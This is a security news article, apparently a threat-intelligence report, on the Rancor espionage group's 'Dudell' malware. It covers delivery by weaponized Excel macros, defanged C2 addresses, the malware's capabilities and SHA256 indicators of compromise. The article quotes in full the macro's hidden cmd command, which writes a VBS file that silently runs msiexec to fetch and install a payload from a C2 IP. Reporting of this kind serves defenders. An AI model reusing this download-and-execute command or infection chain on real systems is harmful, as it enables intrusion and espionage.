Unknown Hacking Group Launching Custom Malware “Dudell” via Weaponized Microsoft Excel Documents

Researchers discovered a new wave of custom malware campaign named as “Dudell” from previous unknown cyberespionage group dubbed Rancor.

Rancor Threat group active since 2017, and they continuously targeting the government organization until January 2019, in this current campaign, researchers discovered an undocumented custom malware.

Additionally, the group using another malware family called “Derusbi” to load a secondary payload once it infiltrates a target, and malware will be installed in the victim’s machine by conducting 2 rounds of attack.

Researchers observed that, the attacker sent via 149.28.156[.]61 to deliver either Derusbi or KHRat samples with either  cswksfwq.kfesv[.]xyz or connect.bafunpda[.]xyz as C2.

Rancor has a record of conducting targeted attacks in Southeast Asia throughout 2017 and 2018.

DUDELL Malware Infection Process

DUDELL malware initially observed form weaponized Microsoft excel document via malspam email attachment.

Once the victims open the attachment, a malicious Macro will be triggered and runs on the victim’s machine when clicks “Enable Content”.

During this process, the macro locates and executes the following data located under the Company field in the document’s properties. 

cmd /c set /p=Set v=CreateObject(^”Wscript.Shell^”):v.Run ^”msiexec /q /i http://199.247.6[.]253/ud^”,false,0 <nul > C:\Windows\System32\spool\drivers\color\tmp.vbs

We could see the C2 server IP in this data and the script downloads the second stage of the payload via Microsoft tool msiexec .

Researchers from Palo Alto networks Said, “we discovered a similar VBS script used by the Rancor actors that might give us some clues on what the contents of tmp.vbs would resemble. File office.vbs”

Another export function called DllInstall observed in this campaign which is responsible for the core behavior of the malware.

Once its executed, hidden window created by the malware filters attempt to evade sandbox analysis the malware sends victim information such as: hostname, IP address, Language Pack along with other operating system information.

Malware also has the following capabilities:

• Terminate a specific process
• Enumerate processes
• Upload file
• Download file
• Delete file
• List folder contents
• Enumerate storage volumes
• Execute a command
• Reverse shell
• Take a screenshot

Researchers observed a VB script named Chrome.vbs that associated with the Rancor group, and the VBScript is obfuscated and contains packed data that is used to infect a target with multiple chained persistent artifacts.

Indicators of Compromise

SHA256:

0EB1D6541688B5C87F620E76219EC5DB8A6F05732E028A9EC36195D7B4F5E707
AAEBF987B8D80D71313C3C0F2C16D60874FFECBDDA3BB6B44D6CBA6D38031609
0D61D9BAAB9927BB484F3E60384FDB6A3709CA74BC6175AB16B220A68F2B349E
DB982B256843D8B6429AF24F766636BB0BF781B471922902D8DCF08D0C58511E
CC081FFEA6F4769733AF9D0BAE0308CA0AE63667FA225E7965DF0884E96E2D2A
BC1C3E754BE9F2175B718ABA62174A550CDC3D98AB9C36671A58073140381659
83d1d181a6d583bca2f03c3c4e517757a766da5f4c1299fbbe514b3e2abd9e0d